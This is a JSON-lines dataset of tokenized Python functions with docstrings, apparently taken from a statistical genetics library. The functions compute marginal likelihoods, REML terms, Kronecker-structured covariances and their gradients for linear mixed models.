{"signature": "def value(self):", "body": "if not self._fix[\"<STR_LIT>\"]:<EOL><INDENT>self._update_beta()<EOL><DEDENT>if not self._fix[\"<STR_LIT>\"]:<EOL><INDENT>self._update_scale()<EOL><DEDENT>return self.lml()<EOL>", "docstring": "Internal use only.", "id": "f13620:c0:m10"}
{"signature": "def gradient(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Not implemented.", "id": "f13620:c0:m11"}
{"signature": "@property<EOL><INDENT>def nsamples(self):<DEDENT>", "body": "return len(self._y)<EOL>", "docstring": "Number of samples, n.", "id": "f13620:c0:m12"}
{"signature": "@property<EOL><INDENT>def ncovariates(self):<DEDENT>", "body": "return self._X[\"<STR_LIT:X>\"].shape[<NUM_LIT:1>]<EOL>", "docstring": "Number of covariates, c.", "id": "f13620:c0:m13"}
{"signature": "def lml(self):", "body": "reml = (self._logdetXX() - self._logdetH()) / <NUM_LIT:2><EOL>if self._optimal[\"<STR_LIT>\"]:<EOL><INDENT>lml = self._lml_optimal_scale()<EOL><DEDENT>else:<EOL><INDENT>lml = self._lml_arbitrary_scale()<EOL><DEDENT>return lml + reml<EOL>", "docstring": "Log of the marginal likelihood.\n\nReturns\n-------\nlml : float\n    Log of the marginal likelihood.\n\nNotes\n-----\nThe log of the marginal likelihood is given by ::\n\n    2\u22c5log(p(\ud835\udc32)) = -n\u22c5log(2\u03c0) - n\u22c5log(s) - log|D| - (Q\u1d40\ud835\udc32)\u1d40s\u207b\u00b9D\u207b\u00b9(Q\u1d40\ud835\udc32)\n                + (Q\u1d40\ud835\udc32)\u1d40s\u207b\u00b9D\u207b\u00b9(Q\u1d40X\ud835\udf37)/2 - (Q\u1d40X\ud835\udf37)\u1d40s\u207b\u00b9D\u207b\u00b9(Q\u1d40X\ud835\udf37).\n\nBy using the optimal \ud835\udf37, the log of the marginal likelihood can be rewritten\nas::\n\n    2\u22c5log(p(\ud835\udc32)) = -n\u22c5log(2\u03c0) - n\u22c5log(s) - log|D| + (Q\u1d40\ud835\udc32)\u1d40s\u207b\u00b9D\u207b\u00b9Q\u1d40(X\ud835\udf37-\ud835\udc32).\n\n\nIn the extreme case where \ud835\udf37 is such that \ud835\udc32 = X\ud835\udf37, the maximum is attained as\ns\u21920.\n\nFor optimals \ud835\udf37 and s, the log of the marginal likelihood can be further\nsimplified to ::\n\n    2\u22c5log(p(\ud835\udc32; \ud835\udf37, s)) = -n\u22c5log(2\u03c0) - n\u22c5log s - log|D| - n.", "id": "f13620:c0:m14"}
{"signature": "@property<EOL><INDENT>def X(self):<DEDENT>", "body": "return self._X[\"<STR_LIT:X>\"]<EOL>", "docstring": "Covariates matrix.\n\nReturns\n-------\nX : ndarray\n    Covariates.", "id": "f13620:c0:m15"}
{"signature": "@property<EOL><INDENT>def delta(self):<DEDENT>", "body": "v = float(self._logistic.value)<EOL>if v > <NUM_LIT:0.0>:<EOL><INDENT>v = <NUM_LIT:1> / (<NUM_LIT:1> + exp(-v))<EOL><DEDENT>else:<EOL><INDENT>v = exp(v)<EOL>v = v / (v + <NUM_LIT:1.0>)<EOL><DEDENT>return min(max(v, epsilon.tiny), <NUM_LIT:1> - epsilon.tiny)<EOL>", "docstring": "Variance ratio between ``K`` and ``I``.", "id": "f13620:c0:m16"}
{"signature": "@property<EOL><INDENT>def scale(self):<DEDENT>", "body": "return self._scale<EOL>", "docstring": "Scaling factor.\n\nReturns\n-------\nscale : float\n    Scaling factor.\n\nNotes\n-----\nSetting the derivative of log(p(\ud835\udc32; \ud835\udf37)), for which \ud835\udf37 is optimal, over\nscale equal to zero leads to the maximum ::\n\n    s = n\u207b\u00b9(Q\u1d40\ud835\udc32)\u1d40D\u207b\u00b9 Q\u1d40(\ud835\udc32-X\ud835\udf37).\n\nIn the case of restricted marginal likelihood ::\n\n    s = (n-c)\u207b\u00b9(Q\u1d40\ud835\udc32)\u1d40D\u207b\u00b9 Q\u1d40(\ud835\udc32-X\ud835\udf37),\n\nwhere s is the number of covariates.", "id": "f13620:c0:m18"}
{"signature": "def mean(self):", "body": "return self._X[\"<STR_LIT>\"] @ self._tbeta<EOL>", "docstring": "Mean of the prior.\n\nFormally, \ud835\udc26 = X\ud835\udf37.\n\nReturns\n-------\nmean : ndarray\n    Mean of the prior.", "id": "f13620:c0:m20"}
{"signature": "def covariance(self):", "body": "from numpy_sugar.linalg import ddot, sum2diag<EOL>Q0 = self._QS[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>S0 = self._QS[<NUM_LIT:1>]<EOL>return sum2diag(dot(ddot(Q0, self.v0 * S0), Q0.T), self.v1)<EOL>", "docstring": "Covariance of the prior.\n\nReturns\n-------\ncovariance : ndarray\n    v\u2080K + v\u2081I.", "id": "f13620:c0:m21"}
{"signature": "@cache<EOL><INDENT>def _logdetXX(self):<DEDENT>", "body": "if not self._restricted:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>ldet = slogdet(self._X[\"<STR_LIT>\"].T @ self._X[\"<STR_LIT>\"])<EOL>if ldet[<NUM_LIT:0>] != <NUM_LIT:1.0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return ldet[<NUM_LIT:1>]<EOL>", "docstring": "log(\uff5cX\u1d40X\uff5c).", "id": "f13620:c0:m23"}
{"signature": "def _logdetH(self):", "body": "if not self._restricted:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>ldet = slogdet(sum(self._XTQDiQTX) / self.scale)<EOL>if ldet[<NUM_LIT:0>] != <NUM_LIT:1.0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return ldet[<NUM_LIT:1>]<EOL>", "docstring": "log(\uff5cH\uff5c) for H = s\u207b\u00b9X\u1d40QD\u207b\u00b9Q\u1d40X.", "id": "f13620:c0:m24"}
{"signature": "def _lml_optimal_scale(self):", "body": "assert self._optimal[\"<STR_LIT>\"]<EOL>n = len(self._y)<EOL>lml = -self._df * log2pi - self._df - n * log(self.scale)<EOL>lml -= sum(npsum(log(D)) for D in self._D)<EOL>return lml / <NUM_LIT:2><EOL>", "docstring": "Log of the marginal likelihood for optimal scale.\n\nImplementation for unrestricted LML::\n\nReturns\n-------\nlml : float\n    Log of the marginal likelihood.", "id": "f13620:c0:m25"}
{"signature": "def _lml_arbitrary_scale(self):", "body": "s = self.scale<EOL>D = self._D<EOL>n = len(self._y)<EOL>lml = -self._df * log2pi - n * log(s)<EOL>lml -= sum(npsum(log(d)) for d in D)<EOL>d = (mTQ - yTQ for (mTQ, yTQ) in zip(self._mTQ, self._yTQ))<EOL>lml -= sum((i / j) @ i for (i, j) in zip(d, D)) / s<EOL>return lml / <NUM_LIT:2><EOL>", "docstring": "Log of the marginal likelihood for arbitrary scale.\n\nReturns\n-------\nlml : float\n    Log of the marginal likelihood.", "id": "f13620:c0:m26"}
{"signature": "@property<EOL><INDENT>def _df(self):<DEDENT>", "body": "if not self._restricted:<EOL><INDENT>return self.nsamples<EOL><DEDENT>return self.nsamples - self._X[\"<STR_LIT>\"].shape[<NUM_LIT:1>]<EOL>", "docstring": "Degrees of freedom.", "id": "f13620:c0:m27"}
{"signature": "def __init__(self, Y, A, X, G, rank=<NUM_LIT:1>, restricted=False):", "body": "from numpy_sugar import is_all_finite<EOL>Y = asfortranarray(Y, float)<EOL>yrank = matrix_rank(Y)<EOL>if Y.shape[<NUM_LIT:1>] > yrank:<EOL><INDENT>warnings.warn(<EOL>f\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\",<EOL>UserWarning,<EOL>)<EOL><DEDENT>A = asarray(A, float)<EOL>X = asarray(X, float)<EOL>Xrank = matrix_rank(X)<EOL>if X.shape[<NUM_LIT:1>] > Xrank:<EOL><INDENT>warnings.warn(<EOL>f\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\",<EOL>UserWarning,<EOL>)<EOL><DEDENT>G = asarray(G, float).copy()<EOL>self._G_norm = max(G.min(), G.max())<EOL>G /= self._G_norm<EOL>if not is_all_finite(Y):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_all_finite(A):<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValueError(msg)<EOL><DEDENT>if not is_all_finite(X):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_all_finite(G):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self._Y = Y<EOL>self._cov = Kron2SumCov(G, Y.shape[<NUM_LIT:1>], rank)<EOL>self._cov.listen(self._parameters_update)<EOL>self._mean = KronMean(A, X)<EOL>self._cache = {\"<STR_LIT>\": None}<EOL>self._restricted = restricted<EOL>composite = [(\"<STR_LIT>\", self._cov.C0), (\"<STR_LIT>\", self._cov.C1)]<EOL>Function.__init__(self, \"<STR_LIT>\", composite=composite)<EOL>nparams = self._mean.nparams + self._cov.nparams<EOL>if nparams > Y.size:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>msg += \"<STR_LIT>\"<EOL>warnings.warn(msg, UserWarning)<EOL><DEDENT>", "docstring": "Constructor.\n\nParameters\n----------\nY : (n, p) array_like\n    Outcome matrix.\nA : (n, n) array_like\n    Trait-by-trait design matrix.\nX : (n, c) array_like\n    Covariates design matrix.\nG : (n, r) array_like\n    Matrix G from the GG\u1d40 term.\nrank : optional, int\n    Maximum rank of matrix C\u2080. Defaults to ``1``.", "id": "f13621:c0:m0"}
{"signature": "@property<EOL><INDENT>def beta_covariance(self):<DEDENT>", "body": "H = self._terms[\"<STR_LIT:H>\"]<EOL>return inv(H)<EOL>", "docstring": "Estimates the covariance-matrix of the optimal beta.\n\nReturns\n-------\nbeta-covariance : ndarray\n    (M\u1d40K\u207b\u00b9M)\u207b\u00b9.\n\nReferences\n----------\n.. Rencher, A. C., & Schaalje, G. B. (2008). Linear models in statistics. John\n   Wiley & Sons.", "id": "f13621:c0:m1"}
{"signature": "def get_fast_scanner(self):", "body": "terms = self._terms<EOL>return KronFastScanner(self._Y, self._mean.A, self._mean.X, self._cov.Ge, terms)<EOL>", "docstring": "Return :class:`.FastScanner` for association scan.\n\nReturns\n-------\n:class:`.FastScanner`\n    Instance of a class designed to perform very fast association scan.", "id": "f13621:c0:m2"}
{"signature": "@property<EOL><INDENT>def A(self):<DEDENT>", "body": "return self._mean.A<EOL>", "docstring": "A from the equation \ud835\udc26 = (A \u2297 X) vec(B).\n\nReturns\n-------\nA : ndarray\n    A.", "id": "f13621:c0:m3"}
{"signature": "@property<EOL><INDENT>def B(self):<DEDENT>", "body": "self._terms<EOL>return asarray(self._mean.B, float)<EOL>", "docstring": "Fixed-effect sizes B from \ud835\udc26 = (A \u2297 X) vec(B).\n\nReturns\n-------\nfixed-effects : ndarray\n    B from \ud835\udc26 = (A \u2297 X) vec(B).", "id": "f13621:c0:m4"}
{"signature": "@property<EOL><INDENT>def beta(self):<DEDENT>", "body": "return vec(self.B)<EOL>", "docstring": "Fixed-effect sizes \ud835\udec3 = vec(B).\n\nReturns\n-------\nfixed-effects : ndarray\n    \ud835\udec3 from \ud835\udec3 = vec(B).", "id": "f13621:c0:m5"}
{"signature": "@property<EOL><INDENT>def C0(self):<DEDENT>", "body": "return self._cov.C0.value() / (self._G_norm ** <NUM_LIT:2>)<EOL>", "docstring": "C\u2080 from equation K = C\u2080 \u2297 GG\u1d40 + C\u2081 \u2297 I.\n\nReturns\n-------\nC0 : ndarray\n    C\u2080.", "id": "f13621:c0:m6"}
{"signature": "@property<EOL><INDENT>def C1(self):<DEDENT>", "body": "return self._cov.C1.value()<EOL>", "docstring": "C\u2081 from equation K = C\u2080 \u2297 GG\u1d40 + C\u2081 \u2297 I.\n\nReturns\n-------\nC1 : ndarray\n    C\u2081.", "id": "f13621:c0:m7"}
{"signature": "def mean(self):", "body": "self._terms<EOL>return self._mean.value()<EOL>", "docstring": "Mean \ud835\udc26 = (A \u2297 X) vec(B).\n\nReturns\n-------\nmean : ndarray\n    \ud835\udc26.", "id": "f13621:c0:m8"}
{"signature": "def covariance(self):", "body": "return self._cov.value()<EOL>", "docstring": "Covariance K = C\u2080 \u2297 GG\u1d40 + C\u2081 \u2297 I.\n\nReturns\n-------\ncovariance : ndarray\n    K.", "id": "f13621:c0:m9"}
{"signature": "@property<EOL><INDENT>def X(self):<DEDENT>", "body": "return self._mean.X<EOL>", "docstring": "X from equation M = (A \u2297 X).\n\nReturns\n-------\nX : ndarray\n    X from M = (A \u2297 X).", "id": "f13621:c0:m10"}
{"signature": "@property<EOL><INDENT>def M(self):<DEDENT>", "body": "return self._mean.AX<EOL>", "docstring": "M = (A \u2297 X).\n\nReturns\n-------\nM : ndarray\n    M from M = (A \u2297 X).", "id": "f13621:c0:m11"}
{"signature": "@property<EOL><INDENT>def nsamples(self):<DEDENT>", "body": "return self._Y.shape[<NUM_LIT:0>]<EOL>", "docstring": "Number of samples, n.", "id": "f13621:c0:m12"}
{"signature": "@property<EOL><INDENT>def ntraits(self):<DEDENT>", "body": "return self._Y.shape[<NUM_LIT:1>]<EOL>", "docstring": "Number of traits, p.", "id": "f13621:c0:m13"}
{"signature": "@property<EOL><INDENT>def ncovariates(self):<DEDENT>", "body": "return self._mean.X.shape[<NUM_LIT:1>]<EOL>", "docstring": "Number of covariates, c.", "id": "f13621:c0:m14"}
{"signature": "def value(self):", "body": "return self.lml()<EOL>", "docstring": "Log of the marginal likelihood.", "id": "f13621:c0:m15"}
{"signature": "def gradient(self):", "body": "return self._lml_gradient()<EOL>", "docstring": "Gradient of the log of the marginal likelihood.", "id": "f13621:c0:m16"}
{"signature": "def lml(self):", "body": "terms = self._terms<EOL>yKiy = terms[\"<STR_LIT>\"]<EOL>mKiy = terms[\"<STR_LIT>\"]<EOL>mKim = terms[\"<STR_LIT>\"]<EOL>lml = -self._df * log2pi + self._logdet_MM - self._logdetK<EOL>lml -= self._logdetH<EOL>lml += -yKiy - mKim + <NUM_LIT:2> * mKiy<EOL>return lml / <NUM_LIT:2><EOL>", "docstring": "Log of the marginal likelihood.\n\nLet \ud835\udc32 = vec(Y), M = A\u2297X, and H = M\u1d40K\u207b\u00b9M. The restricted log of the marginal\nlikelihood is given by [R07]_::\n\n    2\u22c5log(p(\ud835\udc32)) = -(n\u22c5p - c\u22c5p) log(2\u03c0) + log(\uff5cM\u1d40M\uff5c) - log(\uff5cK\uff5c) - log(\uff5cH\uff5c)\n        - (\ud835\udc32-\ud835\udc26)\u1d40 K\u207b\u00b9 (\ud835\udc32-\ud835\udc26),\n\nwhere \ud835\udc26 = M\ud835\udec3 for \ud835\udec3 = H\u207b\u00b9M\u1d40K\u207b\u00b9\ud835\udc32.\n\nFor implementation purpose, let X = (L\u2080 \u2297 G) and R = (L\u2081 \u2297 I)(L\u2081 \u2297 I)\u1d40.\nThe covariance can be written as::\n\n    K = XX\u1d40 + R.\n\nFrom the Woodbury matrix identity, we have\n\n    \ud835\udc32\u1d40K\u207b\u00b9\ud835\udc32 = \ud835\udc32\u1d40R\u207b\u00b9\ud835\udc32 - \ud835\udc32\u1d40R\u207b\u00b9XZ\u207b\u00b9X\u1d40R\u207b\u00b9\ud835\udc32,\n\nwhere Z = I + X\u1d40R\u207b\u00b9X. Note that R\u207b\u00b9 = (U\u2081S\u2081\u207b\u00b9U\u2081\u1d40) \u2297 I and ::\n\n    X\u1d40R\u207b\u00b9\ud835\udc32 = (L\u2080\u1d40W \u2297 G\u1d40)\ud835\udc32 = vec(G\u1d40YWL\u2080),\n\nwhere W = U\u2081S\u2081\u207b\u00b9U\u2081\u1d40. The term G\u1d40Y can be calculated only once and it will form a\nr\u00d7p matrix. We similarly have ::\n\n    X\u1d40R\u207b\u00b9M = (L\u2080\u1d40WA) \u2297 (G\u1d40X),\n\nfor which G\u1d40X is pre-computed.\n\nThe log-determinant of the covariance matrix is given by\n\n    log(\uff5cK\uff5c) = log(\uff5cZ\uff5c) - log(\uff5cR\u207b\u00b9\uff5c) = log(\uff5cZ\uff5c) - 2\u00b7n\u00b7log(\uff5cU\u2081S\u2081\u207b\u00bd\uff5c).\n\nThe log of the marginal likelihood can be rewritten as::\n\n    2\u22c5log(p(\ud835\udc32)) = -(n\u22c5p - c\u22c5p) log(2\u03c0) + log(\uff5cM\u1d40M\uff5c)\n    - log(\uff5cZ\uff5c) + 2\u00b7n\u00b7log(\uff5cU\u2081S\u2081\u207b\u00bd\uff5c)\n    - log(\uff5cM\u1d40R\u207b\u00b9M - M\u1d40R\u207b\u00b9XZ\u207b\u00b9X\u1d40R\u207b\u00b9M\uff5c)\n    - \ud835\udc32\u1d40R\u207b\u00b9\ud835\udc32 + (\ud835\udc32\u1d40R\u207b\u00b9X)Z\u207b\u00b9(X\u1d40R\u207b\u00b9\ud835\udc32)\n    - \ud835\udc26\u1d40R\u207b\u00b9\ud835\udc26 + (\ud835\udc26\u1d40R\u207b\u00b9X)Z\u207b\u00b9(X\u1d40R\u207b\u00b9\ud835\udc26)\n    + 2\ud835\udc32\u1d40R\u207b\u00b9\ud835\udc26 - 2(\ud835\udc32\u1d40R\u207b\u00b9X)Z\u207b\u00b9(X\u1d40R\u207b\u00b9\ud835\udc26).\n\nReturns\n-------\nlml : float\n    Log of the marginal likelihood.\n\nReferences\n----------\n.. [R07] LaMotte, L. R. (2007). A direct derivation of the REML likelihood\n   function. Statistical Papers, 48(2), 321-327.", "id": "f13621:c0:m17"}
{"signature": "def fit(self, verbose=True):", "body": "self._maximize(verbose=verbose)<EOL>", "docstring": "Maximise the marginal likelihood.\n\nParameters\n----------\nverbose : bool, optional\n    ``True`` for progress output; ``False`` otherwise.\n    Defaults to ``True``.", "id": "f13621:c0:m18"}
{"signature": "def _lml_gradient(self):", "body": "from scipy.linalg import cho_solve<EOL>terms = self._terms<EOL>dC0 = self._cov.C0.gradient()[\"<STR_LIT>\"]<EOL>dC1 = self._cov.C1.gradient()[\"<STR_LIT>\"]<EOL>b = terms[\"<STR_LIT:b>\"]<EOL>W = terms[\"<STR_LIT>\"]<EOL>Lh = terms[\"<STR_LIT>\"]<EOL>Lz = terms[\"<STR_LIT>\"]<EOL>WA = terms[\"<STR_LIT>\"]<EOL>WL0 = terms[\"<STR_LIT>\"]<EOL>YW = terms[\"<STR_LIT>\"]<EOL>MRiM = terms[\"<STR_LIT>\"]<EOL>MRiy = terms[\"<STR_LIT>\"]<EOL>XRiM = terms[\"<STR_LIT>\"]<EOL>XRiy = terms[\"<STR_LIT>\"]<EOL>ZiXRiM = terms[\"<STR_LIT>\"]<EOL>ZiXRiy = terms[\"<STR_LIT>\"]<EOL>WdC0 = _mdot(W, dC0)<EOL>WdC1 = _mdot(W, dC1)<EOL>AWdC0 = _mdot(WA.T, dC0)<EOL>AWdC1 = _mdot(WA.T, dC1)<EOL>MR0M = _mkron(_mdot(AWdC0, WA), self._XGGX)<EOL>MR1M = _mkron(_mdot(AWdC1, WA), self._XX)<EOL>MR0X = _mkron(_mdot(AWdC0, WL0), self._XGGG)<EOL>MR1X = _mkron(_mdot(AWdC1, WL0), self._GX.T)<EOL>MR0y = vec(_mdot(self._XGGY, _mdot(WdC0, WA)))<EOL>MR1y = vec(_mdot(self._XY, WdC1, WA))<EOL>XR0X = _mkron(_mdot(WL0.T, dC0, WL0), self._GGGG)<EOL>XR1X = _mkron(_mdot(WL0.T, dC1, WL0), self._GG)<EOL>XR0y = vec(_mdot(self._GGGY, WdC0, WL0))<EOL>XR1y = vec(_mdot(self._GY, WdC1, WL0))<EOL>yR0y = vec(_mdot(self._GY, WdC0)).T @ vec(self._GY @ W)<EOL>yR1y = (YW.T * _mdot(self._Y, WdC1).T).T.sum(axis=(<NUM_LIT:0>, <NUM_LIT:1>))<EOL>ZiXR0X = cho_solve(Lz, XR0X)<EOL>ZiXR1X = cho_solve(Lz, XR1X)<EOL>ZiXR0y = cho_solve(Lz, XR0y)<EOL>ZiXR1y = cho_solve(Lz, XR1y)<EOL>MK0y = MR0y - _mdot(XRiM.T, ZiXR0y) - _mdot(MR0X, ZiXRiy)<EOL>MK0y += _mdot(XRiM.T, ZiXR0X, ZiXRiy)<EOL>MK1y = MR1y - _mdot(XRiM.T, ZiXR1y) - _mdot(MR1X, ZiXRiy)<EOL>MK1y += _mdot(XRiM.T, ZiXR1X, ZiXRiy)<EOL>yK0y = yR0y - <NUM_LIT:2> * XR0y.T @ ZiXRiy + ZiXRiy.T @ _mdot(XR0X, ZiXRiy)<EOL>yK1y = yR1y - <NUM_LIT:2> * XR1y.T @ ZiXRiy + ZiXRiy.T @ _mdot(XR1X, ZiXRiy)<EOL>MR0XZiXRiM = _mdot(MR0X, ZiXRiM)<EOL>MK0M = MR0M - MR0XZiXRiM - MR0XZiXRiM.transpose([<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:2>])<EOL>MK0M += _mdot(ZiXRiM.T, XR0X, ZiXRiM)<EOL>MR1XZiXRiM = _mdot(MR1X, ZiXRiM)<EOL>MK1M = MR1M - MR1XZiXRiM - MR1XZiXRiM.transpose([<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:2>])<EOL>MK1M += _mdot(ZiXRiM.T, XR1X, ZiXRiM)<EOL>MK0m = _mdot(MK0M, b)<EOL>mK0y = b.T @ MK0y<EOL>mK0m = b.T @ MK0m<EOL>MK1m = _mdot(MK1M, b)<EOL>mK1y = b.T @ MK1y<EOL>mK1m = b.T @ MK1m<EOL>XRim = XRiM @ b<EOL>MRim = MRiM @ b<EOL>db = {\"<STR_LIT>\": cho_solve(Lh, MK0m - MK0y), \"<STR_LIT>\": cho_solve(Lh, MK1m - MK1y)}<EOL>grad = {<EOL>\"<STR_LIT>\": -trace(WdC0) * self._trGG + trace(ZiXR0X),<EOL>\"<STR_LIT>\": -trace(WdC1) * self.nsamples + trace(ZiXR1X),<EOL>}<EOL>if self._restricted:<EOL><INDENT>grad[\"<STR_LIT>\"] += cho_solve(Lh, MK0M).diagonal().sum(<NUM_LIT:1>)<EOL>grad[\"<STR_LIT>\"] += cho_solve(Lh, MK1M).diagonal().sum(<NUM_LIT:1>)<EOL><DEDENT>mKiM = MRim.T - XRim.T @ ZiXRiM<EOL>yKiM = MRiy.T - XRiy.T @ ZiXRiM<EOL>grad[\"<STR_LIT>\"] += yK0y - <NUM_LIT:2> * mK0y + mK0m - <NUM_LIT:2> * _mdot(mKiM, db[\"<STR_LIT>\"])<EOL>grad[\"<STR_LIT>\"] += <NUM_LIT:2> * _mdot(yKiM, db[\"<STR_LIT>\"])<EOL>grad[\"<STR_LIT>\"] += yK1y - <NUM_LIT:2> * mK1y + mK1m - <NUM_LIT:2> * _mdot(mKiM, db[\"<STR_LIT>\"])<EOL>grad[\"<STR_LIT>\"] += <NUM_LIT:2> * _mdot(yKiM, db[\"<STR_LIT>\"])<EOL>grad[\"<STR_LIT>\"] /= <NUM_LIT:2><EOL>grad[\"<STR_LIT>\"] /= <NUM_LIT:2><EOL>return grad<EOL>", "docstring": "Gradient of the log of the marginal likelihood.\n\nLet \ud835\udc32 = vec(Y), \ud835\udd42 = K\u207b\u00b9\u2202(K)K\u207b\u00b9, and H = M\u1d40K\u207b\u00b9M. The gradient is given by::\n\n    2\u22c5\u2202log(p(\ud835\udc32)) = -tr(K\u207b\u00b9\u2202K) - tr(H\u207b\u00b9\u2202H) + \ud835\udc32\u1d40\ud835\udd42\ud835\udc32 - \ud835\udc26\u1d40\ud835\udd42(2\u22c5\ud835\udc32-\ud835\udc26)\n        - 2\u22c5(\ud835\udc26-\ud835\udc32)\u1d40K\u207b\u00b9\u2202(\ud835\udc26).\n\nObserve that\n\n    \u2202\ud835\udec3 = -H\u207b\u00b9(\u2202H)\ud835\udec3 - H\u207b\u00b9M\u1d40\ud835\udd42\ud835\udc32 and \u2202H = -M\u1d40\ud835\udd42M.\n\nLet Z = I + X\u1d40R\u207b\u00b9X and \ud835\udce1 = R\u207b\u00b9(\u2202K)R\u207b\u00b9. We use Woodbury matrix identity to\nwrite ::\n\n    \ud835\udc32\u1d40\ud835\udd42\ud835\udc32 = \ud835\udc32\u1d40\ud835\udce1\ud835\udc32 - 2(\ud835\udc32\u1d40\ud835\udce1X)Z\u207b\u00b9(X\u1d40R\u207b\u00b9\ud835\udc32) + (\ud835\udc32\u1d40R\u207b\u00b9X)Z\u207b\u00b9(X\u1d40\ud835\udce1X)Z\u207b\u00b9(X\u1d40R\u207b\u00b9\ud835\udc32)\n    M\u1d40\ud835\udd42M = M\u1d40\ud835\udce1M - 2(M\u1d40\ud835\udce1X)Z\u207b\u00b9(X\u1d40R\u207b\u00b9M) + (M\u1d40R\u207b\u00b9X)Z\u207b\u00b9(X\u1d40\ud835\udce1X)Z\u207b\u00b9(X\u1d40R\u207b\u00b9M)\n    M\u1d40\ud835\udd42\ud835\udc32 = M\u1d40\ud835\udce1\ud835\udc32 - (M\u1d40R\u207b\u00b9X)Z\u207b\u00b9(X\u1d40\ud835\udce1\ud835\udc32) - (M\u1d40\ud835\udce1X)Z\u207b\u00b9(X\u1d40R\u207b\u00b9\ud835\udc32)\n          + (M\u1d40R\u207b\u00b9X)Z\u207b\u00b9(X\u1d40\ud835\udce1X)Z\u207b\u00b9(X\u1d40R\u207b\u00b9\ud835\udc32)\n    H\u207b\u00b9   = M\u1d40R\u207b\u00b9M - (M\u1d40R\u207b\u00b9X)Z\u207b\u00b9(X\u1d40R\u207b\u00b9M),\n\nwhere we have used parentheses to separate expressions\nthat we will compute separately. For example, we have ::\n\n    \ud835\udc32\u1d40\ud835\udce1\ud835\udc32 = \ud835\udc32\u1d40(U\u2081S\u2081\u207b\u00b9U\u2081\u1d40 \u2297 I)(\u2202C\u2080 \u2297 GG\u1d40)(U\u2081S\u2081\u207b\u00b9U\u2081\u1d40 \u2297 I)\ud835\udc32\n          = \ud835\udc32\u1d40(U\u2081S\u2081\u207b\u00b9U\u2081\u1d40\u2202C\u2080 \u2297 G)(U\u2081S\u2081\u207b\u00b9U\u2081\u1d40 \u2297 G\u1d40)\ud835\udc32\n          = vec(G\u1d40YU\u2081S\u2081\u207b\u00b9U\u2081\u1d40\u2202C\u2080)\u1d40vec(G\u1d40YU\u2081S\u2081\u207b\u00b9U\u2081\u1d40),\n\nwhen the derivative is over the parameters of C\u2080. Otherwise, we have\n\n    \ud835\udc32\u1d40\ud835\udce1\ud835\udc32 = vec(YU\u2081S\u2081\u207b\u00b9U\u2081\u1d40\u2202C\u2081)\u1d40vec(YU\u2081S\u2081\u207b\u00b9U\u2081\u1d40).\n\nThe above equations can be more compactly written as\n\n    \ud835\udc32\u1d40\ud835\udce1\ud835\udc32 = vec(E\u1d62\u1d40YW\u2202C\u1d62)\u1d40vec(E\u1d62\u1d40YW),\n\nwhere W = U\u2081S\u2081\u207b\u00b9U\u2081\u1d40, E\u2080 = G, and E\u2081 = I. We will now just state the results for\nthe other instances of the aBc form, which follow similar derivations::\n\n    X\u1d40\ud835\udce1X = (L\u2080\u1d40W\u2202C\u1d62WL\u2080) \u2297 (G\u1d40E\u1d62E\u1d62\u1d40G)\n    M\u1d40\ud835\udce1y = (A\u1d40W\u2202C\u1d62\u2297X\u1d40E\u1d62)vec(E\u1d62\u1d40YW) = vec(X\u1d40E\u1d62E\u1d62\u1d40YW\u2202C\u1d62WA)\n    M\u1d40\ud835\udce1X = A\u1d40W\u2202C\u1d62WL\u2080 \u2297 X\u1d40E\u1d62E\u1d62\u1d40G\n    M\u1d40\ud835\udce1M = A\u1d40W\u2202C\u1d62WA \u2297 X\u1d40E\u1d62E\u1d62\u1d40X\n    X\u1d40\ud835\udce1\ud835\udc32 = G\u1d40E\u1d62E\u1d62\u1d40YW\u2202C\u1d62WL\u2080\n\nFrom Woodbury matrix identity and Kronecker product properties we have ::\n\n    tr(K\u207b\u00b9\u2202K) = tr[W\u2202C\u1d62]tr[E\u1d62E\u1d62\u1d40] - tr[Z\u207b\u00b9(X\u1d40\ud835\udce1X)]\n    tr(H\u207b\u00b9\u2202H) = - tr[(M\u1d40R\u207b\u00b9M)(M\u1d40\ud835\udd42M)] + tr[(M\u1d40R\u207b\u00b9X)Z\u207b\u00b9(X\u1d40R\u207b\u00b9M)(M\u1d40\ud835\udd42M)]\n\nNote also that ::\n\n    \u2202\ud835\udec3 = H\u207b\u00b9M\u1d40\ud835\udd42M\ud835\udec3 - H\u207b\u00b9M\u1d40\ud835\udd42\ud835\udc32.\n\nReturns\n-------\nC0.Lu : ndarray\n    Gradient of the log of the marginal likelihood over C\u2080 parameters.\nC1.Lu : ndarray\n    Gradient of the log of the marginal likelihood over C\u2081 parameters.", "id": "f13621:c0:m32"}
{"signature": "def L(self):", "body": "from numpy_sugar.linalg import ddot, sum2diag<EOL>if self._L_cache is not None:<EOL><INDENT>return self._L_cache<EOL><DEDENT>s = self._cov[\"<STR_LIT>\"]<EOL>d = self._cov[\"<STR_LIT>\"]<EOL>Q = self._cov[\"<STR_LIT>\"][<NUM_LIT:0>][<NUM_LIT:0>]<EOL>S = self._cov[\"<STR_LIT>\"][<NUM_LIT:1>]<EOL>ddot(self.A * self._site.tau, Q, left=True, out=self._NxR)<EOL>B = dot(Q.T, self._NxR, out=self._RxR)<EOL>B *= <NUM_LIT:1> - d<EOL>sum2diag(B, <NUM_LIT:1.0> / S / s, out=B)<EOL>self._L_cache = _cho_factor(B)<EOL>return self._L_cache<EOL>", "docstring": "r\"\"\"Cholesky decomposition of :math:`\\mathrm B`.\n\n        .. math::\n\n            \\mathrm B = \\mathrm Q^{\\intercal}\\tilde{\\mathrm{T}}\\mathrm Q\n                + \\mathrm{S}^{-1}", "id": "f13627:c0:m4"}
